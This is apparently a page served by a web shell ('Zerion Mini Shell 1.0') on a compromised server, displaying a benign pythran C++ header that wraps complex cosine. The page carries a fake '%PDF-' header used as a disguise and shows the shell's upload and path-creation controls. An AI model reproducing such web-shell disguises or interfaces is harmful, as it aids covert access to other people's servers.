%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/lib/python3/dist-packages/pythran/pythonic/cmath/
Upload File :
Create Path :
Current File : //proc/thread-self/root/lib/python3/dist-packages/pythran/pythonic/cmath/cos.hpp

#ifndef PYTHONIC_CMATH_COS_HPP
#define PYTHONIC_CMATH_COS_HPP

#include "pythonic/include/cmath/cos.hpp"

#include "pythonic/utils/functor.hpp"
#include "pythonic/types/complex.hpp"

#include <cmath>

PYTHONIC_NS_BEGIN

namespace cmath
{
  template <class T>
  std::complex<T> cos(std::complex<T> const &v)
  {
    return std::cos(v);
  }

  template <class T>
  std::complex<T> cos(T const &v)
  {
    return std::cos(v);
  }
}
PYTHONIC_NS_END

#endif

Zerion Mini Shell 1.0